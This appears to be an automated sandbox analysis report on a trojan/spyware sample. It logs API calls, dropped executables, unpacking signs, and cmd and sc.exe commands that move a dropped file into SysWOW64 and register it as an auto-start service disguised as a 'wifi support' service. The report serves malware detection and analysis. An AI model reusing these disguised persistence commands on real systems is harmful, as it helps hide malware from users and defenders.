Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040201A
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040201E
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040202D
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_00402084 LocalAlloc,NtQuerySystemInformation,	15_2_00402084
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_2_00402491 NtOpenKey,	15_2_00402491
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_00402000
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	15_1_0040250A
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_0040201A
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_0040201E
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_0040202D
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_1_00402084 LocalAlloc,NtQuerySystemInformation,	15_1_00402084
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Code function: 15_1_00402491 NtOpenKey,	15_1_00402491
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Code function: 24_2_00401820 GetCurrentProcess,NtQueryInformationToken,	24_2_00401820
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_0577F5C0 NtUnmapViewOfSection,	25_2_0577F5C0
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Code function: 25_2_0577F6A0 NtAllocateVirtualMemory,	25_2_0577F6A0

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Code function: 24_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

24_2_00408E26

Source: E5C8.exe.10.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 1FD7.exe.10.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: F805.exe.10.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 6CF.exe.10.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: 1547.exe.10.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: 3A08.exe.10.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: 6CF.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 6CF.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 6CF.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 6CF.exe.10.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 1547.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 1547.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 1547.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 1547.exe.10.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 27D7.exe.10.dr	Static PE information: Section: .didata ZLIB complexity 0.999523355577
Source: 3A08.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 3A08.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00054824561
Source: 3A08.exe.10.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 3A08.exe.10.dr	Static PE information: Section: .rsrc ZLIB complexity 0.999726313694

Source: eIxMVDoQF3.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@44/29@81/12

Source: C:\Users\user\AppData\Local\Temp\743F.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Code function: 24_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

24_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\743F.exe

24_2_00409A6B

Source: eIxMVDoQF3.exe

Virustotal: Detection: 38%

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\eIxMVDoQF3.exe "C:\Users\user\Desktop\eIxMVDoQF3.exe"
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Process created: C:\Users\user\Desktop\eIxMVDoQF3.exe "C:\Users\user\Desktop\eIxMVDoQF3.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\rwjfsvd C:\Users\user\AppData\Roaming\rwjfsvd
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Process created: C:\Users\user\AppData\Roaming\rwjfsvd C:\Users\user\AppData\Roaming\rwjfsvd
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F805.exe C:\Users\user\AppData\Local\Temp\F805.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6800 -ip 6800
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6800 -s 520
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B50.exe C:\Users\user\AppData\Local\Temp\B50.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\743F.exe C:\Users\user\AppData\Local\Temp\743F.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7D0A.exe C:\Users\user\AppData\Local\Temp\7D0A.exe
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\icpymrdv\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\tvdcssmj.exe" C:\Windows\SysWOW64\icpymrdv\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process created: C:\Users\user\AppData\Local\Temp\7D0A.exe C:\Users\user\AppData\Local\Temp\7D0A.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create icpymrdv binPath= "C:\Windows\SysWOW64\icpymrdv\tvdcssmj.exe /d\"C:\Users\user\AppData\Local\Temp\743F.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" description icpymrdv "wifi internet conection
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Process created: C:\Users\user\Desktop\eIxMVDoQF3.exe "C:\Users\user\Desktop\eIxMVDoQF3.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\F805.exe C:\Users\user\AppData\Local\Temp\F805.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B50.exe C:\Users\user\AppData\Local\Temp\B50.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\743F.exe C:\Users\user\AppData\Local\Temp\743F.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7D0A.exe C:\Users\user\AppData\Local\Temp\7D0A.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Process created: C:\Users\user\AppData\Roaming\rwjfsvd C:\Users\user\AppData\Roaming\rwjfsvd	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6800 -ip 6800	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6800 -s 520	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process created: C:\Users\user\AppData\Local\Temp\7D0A.exe C:\Users\user\AppData\Local\Temp\7D0A.exe	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\F805.tmp

Jump to behavior

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

Code function: 0_2_00419D12 SetLastError,GetProfileStringA,WriteProfileSectionW,GetProfileStringA,GetLastError,GetSystemWow64DirectoryW,GetWindowsDirectoryA,GetCPInfoExA,GetDiskFreeSpaceExA,GetStartupInfoW,ReadConsoleOutputCharacterW,GlobalUnWire,GetProcessHeap,GetProcessHeaps,WritePrivateProfileStringA,GetPriorityClass,

0_2_00419D12

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2060:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5468:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:4844:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6800

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: 0.0	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: hijaduvinijebup	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: mocisacatenu	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: wapejan	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: wovag	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: cbH	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: Piruvora	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: gukafipa	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: mawecamaxe	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: Hiwejanoji	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: Pusazide	0_2_00419F67
Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Command line argument: hukujid	0_2_00419F67
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Command line argument: cbH	24_2_00419EE7
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Command line argument: cbH	24_2_00419EE7

Source: 7D0A.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 7D0A.exe.10.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.2.7D0A.exe.d70000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.2.7D0A.exe.d70000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.7D0A.exe.d70000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.7D0A.exe.d70000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.7D0A.exe.d70000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.7D0A.exe.d70000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.7D0A.exe.d70000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.7D0A.exe.d70000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.7D0A.exe.d70000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 25.0.7D0A.exe.d70000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\F805.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: eIxMVDoQF3.exe

Static PE information: More than 200 imports for KERNEL32.dll

Source: eIxMVDoQF3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: eIxMVDoQF3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: eIxMVDoQF3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: eIxMVDoQF3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: eIxMVDoQF3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: eIxMVDoQF3.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: eIxMVDoQF3.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: profapi.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: C:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: F805.exe, 00000010.00000002.415183995.0000000000413000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.371111845.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000016.00000002.414101701.00000000053D0000.00000002.00020000.sdmp
Source:	Binary string: msvcrt.pdbk source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000016.00000003.385582652.0000000004FC9000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: dC:\fuyazosav96\tohoxubuy-parovu\hutecu\gif-rewasugirupo.pdbh source: B50.exe, 00000017.00000000.384081537.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: FC:\nezo37 pagap_pejusexi bopabizaseg\wumogu30\gonoxiwi.pdbh source: 743F.exe, 00000018.00000000.389463395.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdby source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: C:\nezo37 pagap_pejusexi bopabizaseg\wumogu30\gonoxiwi.pdb source: 743F.exe, 00000018.00000000.389463395.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: C:\vapep44\dasijubud\xerateyot\fobo.pdb source: eIxMVDoQF3.exe, eIxMVDoQF3.exe, 00000000.00000000.272266280.0000000000401000.00000020.00020000.sdmp, eIxMVDoQF3.exe, 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, eIxMVDoQF3.exe, 00000001.00000000.275168488.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000E.00000002.368688662.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000E.00000000.362684220.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000F.00000000.365468817.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000016.00000003.391169468.0000000005460000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdb= source: WerFault.exe, 00000016.00000003.391179867.0000000005467000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000016.00000003.391160318.00000000052E1000.00000004.00000001.sdmp
Source:	Binary string: C:\fuyazosav96\tohoxubuy-parovu\hutecu\gif-rewasugirupo.pdb source: B50.exe, 00000017.00000000.384081537.0000000000401000.00000020.00020000.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: F805.exe, 00000010.00000002.415183995.0000000000413000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.371111845.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 00000016.00000002.414101701.00000000053D0000.00000002.00020000.sdmp
Source:	Binary string: VC:\vapep44\dasijubud\xerateyot\fobo.pdbh source: eIxMVDoQF3.exe, 00000000.00000000.272266280.0000000000401000.00000020.00020000.sdmp, eIxMVDoQF3.exe, 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, eIxMVDoQF3.exe, 00000001.00000000.275168488.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000E.00000002.368688662.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000E.00000000.362684220.0000000000401000.00000020.00020000.sdmp, rwjfsvd, 0000000F.00000000.365468817.0000000000401000.00000020.00020000.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\B50.exe	Unpacked PE file: 23.2.B50.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Unpacked PE file: 24.2.743F.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\B50.exe	Unpacked PE file: 23.2.B50.exe.400000.0.unpack .text:ER;.data:W;.dubom:W;.xak:W;.zawaxig:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Unpacked PE file: 24.2.743F.exe.400000.0.unpack .text:ER;.data:W;.lemel:W;.lobil:W;.cixu:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 25.2.7D0A.exe.d70000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 25.0.7D0A.exe.d70000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 25.0.7D0A.exe.d70000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 25.0.7D0A.exe.d70000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 37.0.7D0A.exe.650000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 37.0.7D0A.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 37.0.7D0A.exe.650000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 37.0.7D0A.exe.650000.11.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 37.0.7D0A.exe.650000.9.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: 1_2_00401880 push esi; iretd	1_2_00401893
